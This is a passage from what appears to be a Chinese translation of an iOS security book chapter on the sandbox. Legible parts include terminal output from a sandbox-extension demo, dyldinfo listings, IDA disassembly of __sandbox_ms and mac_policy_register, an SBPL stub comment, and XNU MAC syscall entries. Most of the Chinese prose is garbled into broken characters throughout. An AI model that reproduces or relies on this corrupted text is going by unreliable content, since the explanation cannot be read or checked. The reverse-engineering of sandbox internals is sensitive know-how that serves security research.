෡ᄣʽኣԦੰࡘὋ̯ Ꮺ᝼௙ឞଠᤗ஠͇ધፏ˿ࠪsandbox_issue_extensionѥஜᄉ᝺᫇ǌڙᤝѢ

ኃʶ˓shellՐὋᤇ˓1337ੰ͗ࡂࡘᜁᩘංࣲᤁᛠʶ˓ளshellǌʽ᭦௦ឞርࣿᄉᤁᛠৰх᝭ेὙ�

iFauxn:~/ioshh root# ./sb4 /private/var/tmp/container/5678 

 

Issued extension token for "/private/var/tmp/container/1337": 

000508000d0000000000000000021f002f707269766174652f7661722f746d70 

2f636f6e7461696e65722f31333337000114007d00c6523ef92e76c9c0017fe8 

f74ad772348e00 

 

Applying sandbox profile: 

(version 1) 
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(allow default) 

(deny file-issue-extension*) 

(deny file-read-data 

         (regex #"/private/var/tmp/container/([0-9]+)/.*")) 

(allow file-read-data 

         (require-all 

            (extension) 

            (regex #"/private/var/tmp/container/([0-9]+)/.*"))) 

 

With extensions: { "/private/var/tmp/container/5678" } 

 

Attempting to issue another extension after applying the sandbox profile... 

sandbox_issue_extension failed 

 

sh-4.0# cat / private/var/tmp/container/1234/secret 

cat: ./container/1234/secret: Operation not permitted 

sh-4.0# cat /private/var/tmp/container/5678/secret 

Dr. Peter Venkman: Human sacrifice, dogs and cats living together 

... mass hysteria! 

sh-4.0# cat /private/var/tmp/container/1337/secret 

cat: ./container/1337/secret: Operation not permitted 

sh-4.0# exit 

 

Consuming the extension, then starting another shell... 

 

sh-4.0# cat /private/var/tmp/container/1234/secret 

cat: ./container/1234/secret: Operation not permitted 

sh-4.0# cat /private/var/tmp/container/5678/secret 

Dr. Peter Venkman: Human sacrifice, dogs and cats living together... mass 

hysteria! 

sh-4.0# cat /private/var/tmp/container/1337/secret 

Dr. Peter Venkman: You're not gonna lose the house, everybody has three 

mortgages nowadays. 

sh-4.0# exit 

iFauxn:~/ioshh root# 

iFauxn:~/ioshh root# cat /private/var/tmp/container/1234/secret 

Dr. Ray Stantz: Total protonic reversal. 

iFauxn:~/ioshh root# 

ᤇൿ᝭ेԥ௡ᄉርࣿ੯ᛠ᣾ር˖Ԧၶ˿̣˥὞֖߱੝Ѹतᄉଠᤗ஠͇థʹСጆ὞ڙᤇൿ᝭

े˖Ὃርࣿधݼௐᄉ̽֐ᛠԟஜ௦/private/var/tmp/container/5678ǌᤇʶԟஜ͗ᜁၸڙ

ࠪsandbox_init_with_extensionsᄉុၸ˖ǌܷࠑᄹҁᄉኃʶ˓ᣤѢ௦sandbox_issue_ 

extensionᄉፆ౦ǌឞੰࡘ௦˝1337ߔᄫेኣԦᄉὋᏪ˄ᤇʶ᣾ር௦ڙ෡ᄣѹݼӐ˧ґᤈᛠᄉǌ

ڙ sandbox_init_with_extensionsᄉᣤѢ᝼ࠃ΍ၸ˿ג˓ଠᤗ஠͇ՐὋ;͗ࡂᄹҁ

sandbox_issue_extensionݟᮔయᥦಧܾ᠋ǌڙኃʶ˓shell˖Ὃ3൒ឳஜ૵࠼ណ˖׬ʶ੆ҩᄉ

ڙຊҪᄉǌኃ̃˓shell௦ࡘੰ˝Ӑయᫍͺݼѹڙᄫे௦ߔᄫेʽᄉᥦ൒ὋᏪ5678ߔ5678ڙ௦ࡂ

ᤝѢ෡ᄣ˧ՐὋڙᜁᩘංՐ੯ᛠᄉǌʿѢ੝஧Ὃࠪ1337֖5678ᄉឳୱͺᦏ३ҁ˿Љ᝴ǌࡘ1337ੰ

Ӑ˧ՐҮখݼ෡ᄣѹڙၸ౎ʹݟ௦ࡘੰ˿ឬ௙ߔᏪ˄Ժឳᄉǌᤇ˓Βڙߚᰍ᝼1234஠͇௦͗ࡂ;

νஇ෡ᄣଠᤗ஠͇ᄉǌݟ౦ᤇᤆʿܴ௙ᆷᄉពὋ5.3.3˷ߥ;ڙᓫௐःឞ͗ఝࠓ௛ူᝌǌ�
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ᤇ᧖ᄉΒࡘߔᇧ˿ࣂМधᄉၸ̅ѹݼӐ෡ᄣ֖ୱଌ෡ᄣᦠᎵᄉѥஜǌኃʶ˓Βߔឬ௙˿ᮔᎵ

ᄉХՏଠᤗ஠͇ᄉၸ᤬ǌܷࠑᤆᄹҁ˿SBPLឥᝒ̾Ԣᒬ߿˦෡ᄣଠᤗ஠͇ᄉౝᤴǌణՐᄉΒߔ

ᤆ͗˿ᝌҁࠑὋܷ˖ࠓఴብᬣՐᄉЮڙӐՐҮখνஇ᝺᫇ాᬌǌݼ෡ᄣѹڙࡘၸੰʹݟ˿ᇧࡘ

App Storeःၸࣰ֖Իःၸ὇ඊݟMobileSafariὈ௦ݟʹˀ෡ᄣጆፑᤈᛠ̓̈ᄉὋѢ̠਒஧ᄉ௦Ὃ

ᤇˏዜःၸᦏ෤థ΍ၸᄫґ˝ൢੇ͂੝Ѵˠᄉଋԯὀڙᝦ᝶ᤇ̎ःၸ˧ґὋ5.3ᓫ࠱ᝧܷࠑសጹ

˿ᝌ෡ᄣࠃஶ఺҃ᄉࠃဗǌ 

5.3� ⧚㾷≭Ⲧⱘᅲ⦄ 

෡ᄣ௦ၿЮನˀၸਖ਼ቆᫍጷ͇ౝ੆ᄉǌ5.2ᓫᝦ᝶˿෡ᄣѹݼӐ᣾ር˖ࠪंᄉុၸὋᏪఴᓫ

Ѷᝌ᧕࠱˧ґᝦ᝶ᄉѥஜុၸˀ᯾႐ڙЮನయᫍၿ෡ᄣЮನੰࡘ఑᭚ᄉጆፑុၸଋԯጊࠚᐎጆ

ᄉ᣾ርǌᬓ˿఑᭚ᦠᎵଋԯܰὋឞЮನഴڰᤆੵ໥ᅋþᄹ̠᫂ÿᄉᝇᓣǌ߱͗೜ಉᤈርឯයᄉୱ

ͺὋࣲ ಩૵ˀᤈርСᐎᄉ෡ᄣଠᤗ஠͇ࠪᤇ̎ୱͺឯයᤈᛠ᝿ͤǌܷ សጹ˿ᝌᤇʶЮನੰ͗࠱ࠑ

लᮖ;᣾ʶ᥅෡ᄣTrustedBSD࠱ὋူᝌXNUЮನᄉTrustedBSDጷ͇ᄉ΍ၸழयǌణՐὋੇ͂ࡘ

ን႔ူܪᄉጆፑុၸึርǌ  

5.3.1� ⧚㾷⫼᠋ぎ䯈ᑧⱘᅲ⦄ 

᜵ᝌ᧕ၸਖ਼ቆᫍंᄉࠃဗὋੇ ᜵̯МधᄉѥஜᤜເҁlibSystem˖ᄉጆፑុၸǌ᜵ᖌ३ࡂ͂

ѬЙཁࣲʿᬱὋܷࠑԺ̾΍ၸiPhone SDK˖ᄉdyldinfoࠃၸርࣿ὇Mac OS Xྟᄉ˶Ժ̾Ὀǌᤇ

ಧ;ࡂԺ̾ᆷ߿˝sandbox_initቿՁᩖଋᄉР̙ं௦ג˓Ὃࣲ̯ᥦ᧖धݼᤈᛠᤣՓᤜᢍǌఴብ

ኃʶ˓ΒߔᄉᣤѢݟʽ੝ᇧὙ 

pitfall:sb1 dion$ dyldinfo -lazy_bind sb1 

lazy binding information (from section records and indirect symbol table): 

segment section          address    index  dylib            symbol 

__DATA  __la_symbol_ptr  0x00003028 0x000B libSystem        _execl 

__DATA  __la_symbol_ptr  0x0000302C 0x000D libSystem        _fprintf 

__DATA  __la_symbol_ptr  0x00003030 0x000E libSystem        _getpid 

__DATA  __la_symbol_ptr  0x00003034 0x000F libSystem        _printf 

__DATA  __la_symbol_ptr  0x00003038 0x0010 libSystem        _putenv 

__DATA  __la_symbol_ptr  0x0000303C 0x0011 libSystem        _sandbox_free_error 

__DATA  __la_symbol_ptr  0x00003040 0x0012 libSystem        _sandbox_init 

Ժ̾ᮔ᜸ᄉ௦Ὃsandbox_initፂၿlibSystemᩖଋǌiOS΍ၸᄉܷܲ௦ᮔᩖଋྟఴᄉР̙

ंǌ᜵ѫౡᤇ̎ጆፑंὋੇ͂ࡂᭉ᜵࠱Ф̯ᎀߚ˖ଡԨѢ౎ǌ᜵᝺᫇ឞᎀߚὋܷࠑ௄Ժ̾ᝌڌࠚ

͇Ӊ὇IPSWὈ˖ᄉ಩஠͇ጆፑ᪪ϷὋ˶Ժ̯̾ࣂፂᡔ࿜ᄉiPhoneʼ҃ܬឞᎀߚǌᤇ̎Р̙ᎀߚᄉ

ͮᎵ௦/System/Library/Caches/com.apple.dyld/dyld_shared_cache_armv7ǌᣖளྟఴᄉIDA ProԺ̾

ᄯଋᝌౡឞ஠͇Ὃࣲ࠱ᄫಕंଡԨѢ౎ၸ̅ѫౡǌݟ౦෤ก΍ၸణளᄉIDA ProὋ੊௦ʿਜԜ΍

ၸὋܷࠑ˶Ժ̾΍ၸधຸࢹХdyld_decache౎ଡԨᤇ̎ंὋԟ᜸https://github.com/kennytm/ 

Miscellaneous/blob/master/dyld_decache.cppǌੇ͂ᤆథФ̴ᤤસὋស᜸http://theiphonewiki.com/wiki/ǌ�
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 _᫒Ὃᥦ˥;Ժ̾ណᅋଡԨ̾ʽंὙ/usr/lib/system/libsystem࠴੩࠴ࣁ౦Ե௦ᒬݟ

sandbox.dylibǋ/usr/lib/system/libsystem_kernel.dylib֖/usr/lib/libsandbox. 

1.dylibǌੇ͂ᯪЎ᜵ᄹᄉ௦libsystem_sandbox.dylibǌࡘ2-5ڎᇧ˿̯libsystem_ 

sandbox˖࠭ѢᄉቿՁǌᤇˀsandbox.hᄉ߿˦௦ዴᆷӛᦠᄉǌᄰζܷࣂࠑፂ੼ҁൣᆷᄉं˿Ὃଋ

ᅋ;Ժ̾ध્ݼଇsandbox_initԢФߔѥஜᄉԥᎃដ஠͇Ὃफຌഁஜ૵௦ݟʹᤈЙЮನᄉǌ 

 

�2-5ڎ ̯libsystem_sandbox.dylib࠭Ѣᄉѥஜ 

Ԧဗ߱Ե௦sandbox_init_internalᄉ̼ူѥஜǌ͗ࡂ᜼sandbox_initὋࠅ౦;ঋᤳݟ

೜ಉsandbox_init_with_params֖sandbox_init_with_extensionsὋ;͗ԦဗᄰՎፆ౦ǌ

ᤇ3˓ѥஜР̙˿ᄰՎᄉࠃဗǌsandbox_init_internalࡘᇧ˿థᡙ३ܲᄉុၸڎὋឞѥஜᄉ

ԓݟۋʽ੝ᇧὙ 

int sandbox_init_internal(const char *profile, uint64_t flags, const char* const 

        parameters[], const char* const extensions[], char **errorbuf); 

ᯪЎὋឞѥஜ͗ઁᛪᇧԟஜ֖ੰࡘᄉߙቿ˘ஜጷᣀ૰੆libsandboxಪयǌ˝ϡҁᤇʶཁὋ

sandbox_init_internalѥஜ͗ҮখҪᣑlibsandbox.1.dylibंὋࣲ૊ཱᭉයᝌౡѥஜុ

ၸ὇sandbox_create_paramsǋsandbox_set_paramǋsandbox_create_extensions֖

sandbox_add_extensionὈǌڙᤇˏ˓ᣀ૰˧ՐὋឞѥஜ͗ܬၸflagsᄉϘὙ�

ၸsandbox_compile_stringὋཨՐុၸsandbox_apply֖ុࡂ౦flags == 0Ὃݟ �

sandbox_free_profileǌᤇʶҩᑞڙsandbox.hܿ஠͇˖లͺ᝭े὚  
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౦ݟ � flags == SANDBOX_NAMEDὋុࡂၸ sandbox_compile_namedὋཨՐុၸ

sandbox_apply֖sandbox_free_profile὚ 

 ᄯଋុၸ__sandbox_ms὚ࡂ౦flags == SANDBOX_NAMED_BUILTINὋݟ �

ၸsandbox_compile_fileὋཨՐុࡂ౦flags == SANDBOX_NAMED_EXTERNALὋݟ �

ុၸsandbox_apply֖sandbox_free_profileǌ 

੝ᭉᄉᤇ̎ѥஜ὇ᬓ˿__sandbox_msὈ˶ᦏ௦̯libsandbox.1.dylibҮখҪᣑᄉǌܲڙ

ஜৰхʽὋsandbox_init_internal͗˝ࠪsandbox_compile_*֖sandbox_applyᄉុၸ᝹

ᎵԟஜǌSANDBOX_NAMED_BUILTINᄉৰхˀ൤ሮథʿՎǌ߱ុၸ˿__sandbox_msὋᏪ᭣ុၸ

libsandbox˖ᄉѥஜǌͮ ̅libsystem_kernel.dylib˖ᄉ__sandbox_ms௦ၸਖ਼ቆᫍᄉణጻ

ͮᎵǌ߱ѽၸmac_syscallጆፑុၸᬝЙЮನǌឞጆፑុၸ௦ၿTrustedBSDߔጆፑ߿˦ᄉ὇Ր

஠̭͗ፀఝܲˀ൤థСᄉЮࠓὈὙ 

__text:31D5DBA8                     EXPORT ___sandbox_ms 

__text:31D5DBA8 ___sandbox_ms 

__text:31D5DBA8                     MOV             R12, 0x17D ; ___mac_syscall 

__text:31D5DBA8                                             ; ___sandbox_ms 

__text:31D5DBA8                                             ; ___mac_syscall 

__text:31D5DBB0                     SVC             0x80 

ҁᄫґ˝ൢὋܷࣂࠑፂ˝̯sandbox_initѢԦᄉʶ్ᡸफ़੼ҁ˿ЮನЙԯཁǌဗڙὋੇ͂

Ժ̾ᄹᄹlibsandboxंὋᆷ߿Ф̴ᡸफ़௦̣˥ಧ̾ߔԢ߱͂௦ݟʹᤈЙЮನᄉǌੇ͂᜵ઁซ਒

Ҧᬶ˖ڙsandbox_compile_*֖sandbox_applyѥஜʼǌsandbox_create_extensions֖

sandbox_create_parametersѥஜԵ௦ክူᛪፆౝᄉ὇˶ࡂ௦ឬὋ߱͂ॡ෤ҵὈǌ�

sandbox_compile_stringˀsandbox_compile_fileѥஜᦏ௦̾ࠪЮᦉѥஜcompile

ᄉុၸፆోᄉὋʿ ᣾ґᏧ௦compileѥஜᄉᄯଋ̼ူὋᏪՐᏧѶᯪЎ͗೜ಉᇒᄧʼᄉᎀߚǌڙiOS

˖Ὃࠪःᎀߚᄉ۲ఴᡸफ़ᦏ௦ల߿˦ᄉὋᏪ˄̯ʿ͗ѽၸҁᎀߚᄉ̼ᆉǌڙ΍ၸ˿ᤇʶҩᑞᄉ

Mac OS X˖Ὃݟ౦஠ࣲ͇ڙߚᜁڙᎀߚ˖੼ҁὋᎃដ᣾ᄉଠᤗ஠͇͗ࡂᜁҪᣑὋឞѥஜᤄٿǌ

Ꮺ̯ఴ˹ᄉᝇऎ౎ᝮ὇ځ˝ੇ͂ԵСॶiOSὈὋcompile঳௦ࠪ஠͇ᄉЮុࠓၸᄉǌ 

sandbox_compile_named͗ಉ੼ЮᎵՏሥѴᛪǌݟ౦ᄰःԟஜˀѴᛪ˖ᄉ౼ʶՏሥӛᦠὋ

ᅻଠᤗ஠͇˧ѴὋࣂڙ౦͛ЙᄉՏሥʿݟҁ᜵͛ᤫፋsandbox_applyᄉፆౝͳ˖ǌ҃ܬᜁ͗ࡂ߱

Ӑѥஜ੝ុၸᄉКᦉݼፂ๯ᄥ˿ѹࣂࡂណុၸǌᤇ࠼ᜁ͗ࡂґsandbox_compile_file᠋ܾڙ

sandbox_compile_*ѥஜǌ 

compileѥஜઁ෡ᄣଠᤗ஠͇ᣀ૰੆᜵ԦᤞፋЮನᄉஜ૵ፆౝǌᏪ෡ᄣၸਖ਼ቆᫍቪܲஜథ਒

˦ᄉူܪ᣾ርᦏ௦᤯᣾ឞѥஜ߸੆ᄉǌcompile͗΍ၸधຸᄉSchemeᝌ᧕٧TinySchemeࠪSBPL

ᑭఴᤈᛠ᝿ͤǌڙҪᣑSBPLᤈᛠᎃដ˧ґὋੇ͂᜵ᣑЙ3˓ʿՎᄉSchemeᑭఴǌኃʶ˓௦

TinySchemeѹݼӐᑭఴǌScheme˧੝̾థՏὋ௦ځ˝߱థᅋ࠴᜺ഴᄉನॶឥᝒὋ͛ፑᤁᛠௐឥ

ᝒథॡܲ௦ౝतڙᤇ˓ನॶ˧ʼᄉǌᏪኃ̃˓ᑭఴsbpl1_scm߿˦˿SBPLឥᝒᄉኃʶྟ὇˶௦

ǌኃʻ˓ᑭఴࠓ౦С̅SBPLᄉጹᓫథ̣˥᫇ᮤὋ;Ժ̾ᄹᄹឞᑭఴᄉЮݟʶᄉМधྟఴὈǌ׬

sbpl_scmѶ௦˓Љ᝴ҪᣑܲྟఴSBPLᄉߚ಩ǌᄫґὋ߱߿˦˿͉਒SBPLᑭఴ˧ʼၸ̅Ҫᣑൣ
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ᆷSBPLґࣿ὇ඊݟsbpl1_scmὈᄉྟఴѥஜǌᤇʶߚ಩ᑭఴӉդ˿ၸ̅ଠᤗSBPL᝿ͤፆ౦ᄉध

ܿซ᧕὇header commentὈǌឞᑭఴॡࠓ௛ڙlibsandbox.dylibᄉIDAԥ඼ᎃ஠͇˖੼ҁὋᏪڙ

ᤇ˓dylibʼᤁᛠߙቿ˘ࡂఝࠓ௛˿ǌᤇ3˓Schemeᑭఴᦏ௦ॡࠓ௛ᜁԦဗᄉὙ 

;;;;;; Sandbox Profile Language stub 

 

;;; This stub is loaded before the sandbox profile is evaluated. When version 

;;; is called, the SBPL prelude and the appropriate SBPL version library are 

;;; loaded, which together implement the profile language. These modules build 

;;; a *rules* table that maps operation codes to lists of rules of the form 

;;;   RULE -> TEST | JUMP 

;;;   TEST -> (filter action . modifiers) 

;;;   JUMP -> (#f . operation) 

;;; The result of an operation is decided by the first test with a filter that 

;;; matches. Filter can be #t, in which case the test always matches. A jump 

;;; causes evaluation to continue with the rules for another operation. The 

;;; last rule in the list must either be a test that always matches or a jump. 

ణጻፆ౦௦ߚϱڙ*rules*Փ᧙˖ᄉʶ˓᜺ѶѴᛪǌ᜵೜ಉ௦ՠЉ᝴ᤈᛠ౼ʶୱͺὋЮನࠃ

ஶഴ͗ڰល᫇ឞ*rules*Փ᧙ǌᜁ೜ಉᄉጉलࠪःᅋ᜵฽ណᄉୱͺǌΒݟὋࠪ̅iOS 5.0౎ឬὋ஠

͇ឳஜ૵ୱͺࡂ௦15ǌݟ౦*rules*Փ᧙ᄉኃ16ᮉ௦(#f .0)Ὃᥦ˥͉ʹࠪ஠͇ឳஜ૵ୱͺᄉ೜

ಉᦏ͗ጞᐎҁ᳭ᝢ᜺Ѷ὇᳭ᝢୱͺ௦ጉल0Ὀǌᤇˀซ᧕˖ଠᤗᄉJUMPৰх௦ࠪःᄉǌஜ૵ᮉԺ

ᑞӉդᄉ௦᜺ѶѴᛪǌڙᤇሗৰхʽὋඇʶ్᜺Ѷ͗ᜁ૊൒ࣿ᝿ͤὋᄯҁ᥄ҁʶ్ᄰӛᦠᄉ᜺Ѷǌ

ѴᛪణՐ঳௦Ӊդʶ్ʿդ᣾໙٧ᄉJUMP᜺ѶὋ̾᫸Ѣဗ௃᜺ѶᄰӛᦠᄉৰхǌSBPLឥᝒ௦ၸ

౎ᎃដឞфንಝᄉǌʶெ३ѢឞಝὋlibsandbox˖ᄉcompileѥஜ߱࠱͗ࡂ୎ࣰὋࣲᬣᅋଠᤗ

஠͇ᄉߙᓫᆉᜁ͛ᤫҁЮನ˖ᤩ൥ԦѢ߱ǌ�

sandbox_apply௦Բʶ˓᤯᣾libsystem˖ᄉѹݼӐѥஜᤈᛠុၸᄉ˞᜵ѥஜǌឞѥஜ͛

ᤫ˿ၿᎃដѥஜѸतᄉፆౝͳὋᏪᤇʶፆౝͳӉդᄉ௦ЮᎵଠᤗ஠͇ᄉՏሥ੊ၿᒬ߿˦ଠᤗ஠͇

ᎃដ੆ᄉߙᓫᆉǌ߱ᤆԺᑞդథʶ్ᡸफ़Ὃߚϱୱͺԩ೜ಉᄉ᝭ेǌᄹᄹsandbox_applyὋܷ

˝Ԧဗˏ్˞ᡸफ़௦̾ࠪ__sandbox_msᄉុၸፆోᄉǌʶ్ᡸफ़੩ध˿᝭े஠͇Ὃࣲ͗ࠑ

com.apple.sandboxಉ੼MachቪԯǌᏪԲʶ్Ѷ௦᡹ᣀҁࠪЮನᄉុၸǌဗڙὋ੝థᄉѹݼӐ

ᦏึ᣾ᄰՎᄉЮನЙԯཁ˿ǌ 

ఴብ˧ґᝦ᝶᣾ᄉФ̴ᦠᎵѥஜ὇ඊݟኣԦ/ᩘංੰࡘᄉѥஜὈѶᄯଋុၸ__sandbox_msǌ

ᒯ൤ὋܷࠑԺ̾ᄰζ੝థᄉၸਖ਼ஜ૵ᦏ௦᤯᣾mac_syscallᤈЙЮನ˿ǌ 

5.3.2�  Ḍݙܹ⏅

෡ᄣЮನੰࡘ௦ၸTrustedBSDን႔ੰࡘᄉ्यࠃဗᄉὋᏪᦠᎵࠃஶጆፑ֖ଠᤗ஠͇ࠃஶጆ

ፑᦏ௦ڙᤇʶЮನੰࠃ˖ࡘဗᄉǌᯪЎὋܷ͗ࠑ˿ᝌTrustedBSDጆፑ̾Ԣ߱ᑞଡΘ̣̎˥ǌଋ

ᅋὋੇ͂ݟ˷ߥʹઁmac_syscallᤋଋҁ෡ᄣЮನੰࡘʼὋफຌഁmac_syscall௦ݟʹᤈЙЮ

ನ̾Ԣ߱ڙ෡ᄣ˖௦גڙ᧖३ҁူܪᄉǌణՐὋੇ͂᧗ཁᄹᄹ௅࣡ጆፑុၸᄉᡸफ़Ὃ˿ᝌ෡ᄣ

 ஶ఺҃ǌࠃ
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ǌ߸ஞૈ࠭ស᜸ኃ10ብǌԺߚЮನᎀࠚӉ˖ଡԨ֖ᝌ͇ڌःឞ̯ࡂ;Ӭ࿗फὋࣁ౦੩ኪᒬݟ

̾ᮔ᜸Ὃኃ10ብᄉ᧗ཁ௦com.apple.security.sandboxЮನੰࡘǌ὇ڙiPhone3,1_5.0_9A334

 ᄉǌὈݼ௦̯0x805F6000ͮᎵधࡘὋᤇʶੰ˖͇ڌ

1. TrustedBSDㄪ⬹ⱘᅲ⦄ 
TrustedBSD௦ၸ౎ڙЮನ˖ࠃဗԺଢЙǋԺጷՋय᝺᫇ଌ҃ን႔ᄉಳ౵ǌᤇʶಳ౵௦ၿ᥅࣊

̅Юನᄉ೜ಉཁ὇inspection pointὈ֖˝ֽःᤇ͇̎̂ซбን႔੝΍ၸᄉ᤾ᣣጷ੆ᄉǌॡܲጆፑ

ុၸ˖ᦏ͗ុၸTrustedBSDὋ˄ݟ౦ን႔᜵යុၸ߱ὋڙЉ᝴ᤈʶ൥੯ᛠጆፑុၸ˧ґὋࠪ͗࠱

ాᬌᤈᛠ೜ಉǌٿਆʶʽὋᤇ˶௦੯ᛠ̼ᆉኣՏᄉழय὇᜸ኃ4ብὈǌឞಳ౵ᤆଡΘ˿ʶሗၸྱ߿

̅ን႔ᄉζোಕ᝭ࠪ៵ᄉழกǌൣ ϱ෡ᄣଠᤗ஠͇ǌߚ᜵ᄹҁᄉὋᤇʶ఺҃ၸ̅˝Չᤈር࠱ࠑܷݟ

෡ᄣን႔ੰࡘԵၸҁ˿ᤇʶ߹ܷಳ౵ᄉʶᦉѫǌ 

XNU˖ࠃဗTrustedBSDᄉЮನຸͮ̅xnu-1699.24.8/security˖ǌၸ̅ࠃဗளን႔ഴڰ

ᄉଋԯ௦᤯᣾mac_policy.hМधᄉὙ 

/** 
  @࿔ॲ mac_policy.h 

 থ੨ࢃాڦᄲ MAC֧୼ఇ੷߁@  

 
  Ԩཀྵ࿔ॲۨᅭକᆯDarwin֡ፕဣཥዐTrustedBSD MAC઀ॐۨᅭ֡ڦፕൣڇă 

 ጀă࠲ڦగፇ༬ۨ֡ፕܔ઀ॐጀ֩MAC֧୼ఇ੷๟ྺକำ௽޿ၠ  

  සࡕ࿄ำ௽ܔగ߲෇੨࠲ڦۅጀǈఫ஺޿઀ॐೠࠚኄᅃ෇੨้ۅ৽ࣷࢮ୼֧޿୼ 

*/ 

ᤇʶधܿซ᧕դథសࡉᄉ᝭ेὋݟ౦;ਆ˿ᝌTrustedBSDን႔ᄉ߸੆ҩᑞὋࡂःឞ̲ጹ᫝ឳ

ឞซ᧕ǌࠪ̅ᤇ˓ΒߔᏪᝒὋܷࠑःឞ᡹᣾ซбѥஜmac_policy_registerὙ�

/** 
 ײᄲ MAC֧୼ఇ੷ጀ֩૩߁@  

 
  ۙᆩࡧ޿ຕ๟ྺକၠMAC઀ॐጀ֧֩୼ă 

  ֧୼ఇ੷ཚٗࣷ׉DarwinڦKEXTጀ֩૩ۙײᆩࡧ޿ຕ 

*/ 

int         mac_policy_register(struct mac_policy_conf *mpc, 

    mac_policy_handle_t *handlep, void *xd); 

ᄉkext_startѥஜុၸᄉǌ̂ڰഴࡘซ᧕˖ଡҁᄉὋឞѥஜ᤯࣡௦̯ን႔ੰݟൣ ʼὋiOSࠃ

˖ᄉ෡ᄣੰࡘʶधុݼၸᄉࡂ௦mac_policy_registerὙ�

__text:805F6DD0 sub_805F6DD0 

__text:805F6DD0         PUSH        {R7,LR} ; Push registers 

__text:805F6DD2         MOV         R7, SP  ; Rd = Op2 

__text:805F6DD4         LDR         R0, =(sub_805FC498+1) ; Load from Memory 

__text:805F6DD6         BLX         R0 ; sub_805FC498 

__text:805F6DD8         CMP         R0, #0  ; Set cond. codes on Op1 - Op2 

__text:805F6DDA         IT NE               ; If Then 

__text:805F6DDC         POPNE       {R7,PC} ; Pop registers 

__text:805F6DDE         LDR         R0, =off_805FE090 ; Load from Memory 

__text:805F6DE0         MOVS        R2, #0  ; xd 

__text:805F6DE2         LDR         R1, =dword_805FE6C0 ; Load from Memory 
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__text:805F6DE4         ADDS        R0, #4  ; mpc 

__text:805F6DE6         LDR         R3, =(_mac_policy_register+1) 

__text:805F6DE8         ADDS        R1, #4  ; handlep 

__text:805F6DEA         BLX         R3 ; _mac_policy_register 
__text:805F6DEC         POP         {R7,PC} ; Pop registers 

__text:805F6DEC ; End of function sub_805F6DD0 

 ٧ុၸᄉኃʶ˓ԟஜ௦ʶ˓ૈ᧪ὋૈՓၸ̅ᦠᎵን႔ᄉmac_policy_confፆౝͳὙߚ࠘

struct mac_policy_conf { 
        const char              *mpc_name;              /** ֧୼ఁ׬ */ 

        const char              *mpc_fullname;          /** ྜኝఁ׬ */ 

        const char              **mpc_labelnames;       /** ๴ྂՔധంఁ੣क़ */ 

        unsigned int            mpc_labelname_count;    /** ๴ྂՔധంఁ੣क़ڦຕଉ */ 

        struct mac_policy_ops   *mpc_ops;               /** ֡ፕၠଉ */ 

        int                     mpc_loadtime_flags;     /** ሜ෇้क़Քኾ */ 

        int                     *mpc_field_off;         /** Քധ֣ */ 

        int                     mpc_runtime_flags;      /** ሏႜ้Քኾ */ 

        mpc_t                   mpc_list;               /** ૾՗ڦᆅᆩ */ 

        void                    *mpc_data;              /** ఇ੷ຕ਍ */ 

}; 

˖mac_policy_registerᄉុၸࠪݟὋឞፆౝͳͮ̅off_805FE094ͮᎵὋ˖ࡘiOSੰڙ

੝ᇧǌݟ౦;ਆ̝ᒬҮ੣ណណὋࡂःឞ࠱mac_policy_conf֖mac_policy_opsፆౝͳ࠭ЙIDA 

Proǌʽ᭦ࡂ௦ڙቷᏧᄉ͇ڌ˖੼ҁᄉmac_policy_confፆౝͳὙ�

__data:805FE094 sbx_mac_policy_conf DCD aSandbox_0      ; mpc_name ; 

"Sandbox" 

__data:805FE094                 DCD aSeatbeltSandbo     ; mpc_fullname 

__data:805FE094                 DCD off_805FE090        ; mpc_labelnames 

__data:805FE094                 DCD 1                   ; mpc_labelname_count 

__data:805FE094                 DCD sbx_mac_policy_ops  ; mpc_ops 

__data:805FE094                 DCD 0                   ; mpc_loadtime_flags 

__data:805FE094                 DCD dword_805FE6C0      ; mpc_field_off 

__data:805FE094                 DCD 0                   ; mpc_runtime_flags 

__data:805FE094                 DCD 0                   ; mpc_list 

__data:805FE094                 DCD 0                   ; mpc_data 

ᦠᎵӉդ˿ၸ̅TrustedBSDን႔ᄉ׬ʶՏሥ὇SandboxὈὋ̾Ԣఝ᫁ʶ̎ᄉଠᤗ὇Seatbelt 

sandbox policyὈǌ߱ᤆդథʶ˓ૈ᧪ὋૈՓӉդథѥஜૈ᧪ᛪᄉԲʶ˓ፆౝͳǌᤇʶፆౝͳࡂ௦

mac_policy_opsὋ߱ᄉͺၸ௦˝ TrustedBSD ᄢ᜼ᄉՉሗ͇̂ឯයុٿǌܷࠑԺ̾ڙ

xnu-1699.24.8/security/mac_policy.h:5971˖੼ҁ߸ஞᄉፆౝͳ߿˦ǌൣڙݟ˧ґᄉ

mac_policy_conf˖߿˦ᄉὋiOSᄉmac_policy_opsፆౝͳԺ0ڙx805FE0BCͮᎵ੼ҁ὇ڙቷ

ᏧᄉIDB˖߿˦˝sbx_mac_policy_opsὈǌឞፆౝͳፋѢ˿੝థᤈЙ෡ᄣን႔ੰࡘᄉЙԯཁὋ

ʽ஠̭͗ፀឞፆౝͳ˖ᄉˏ˓ѥஜὙၸ̅ᦠᎵᤈርᄉmpo_policy_syscallѥஜὋ̾Ԣၸ౎ڙ

Љ᝴ᤈᛠୱͺґࠪୱͺᤈᛠᰍ᝼ᄉ౼ʶ˓mpo_xxx_check_yyyុၸǌ�

2. Ң⫼᠋ぎ䯈໘⧚䜡㕂 
౎ᄹᄹTrustedBSDМधፋၸڙᄉଋԯὋဗࡘፂ˿ᝌ˿ၿTrustedBSDМधፋን႔ੰࣂґ˧ࠑܷ
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ਖ਼ቆᫍᄉଋԯǌᤇʶଋԯ௦ڙxnu-1699.24.8/security/mac.h˖߿˦Ὃࣲ ᤯᣾xnu-1699.24.8/bsd/ 

kern/syscalls.masterМधᄉὙ 

380    AUE_MAC_EXECVE      ALL    { int __mac_execve(char *fname, char **argp, 

                                         char **envp, struct mac *mac_p); } 

381    AUE_MAC_SYSCALL     ALL    { int __mac_syscall(char *policy, int call, 

                                         user_addr_t arg); } 

382    AUE_MAC_GET_FILE    ALL    { int __mac_get_file(char *path_p, 

                                         struct mac *mac_p); } 

383    AUE_MAC_SET_FILE    ALL    { int __mac_set_file(char *path_p, 

                                         struct mac *mac_p); } 

384    AUE_MAC_GET_LINK    ALL    { int __mac_get_link(char *path_p, 

                                         struct mac *mac_p); } 

385    AUE_MAC_SET_LINK    ALL    { int __mac_set_link(char *path_p, 

                                         struct mac *mac_p); } 

386    AUE_MAC_GET_PROC    ALL    { int __mac_get_proc(struct mac *mac_p); } 

387    AUE_MAC_SET_PROC    ALL    { int __mac_set_proc(struct mac *mac_p); } 

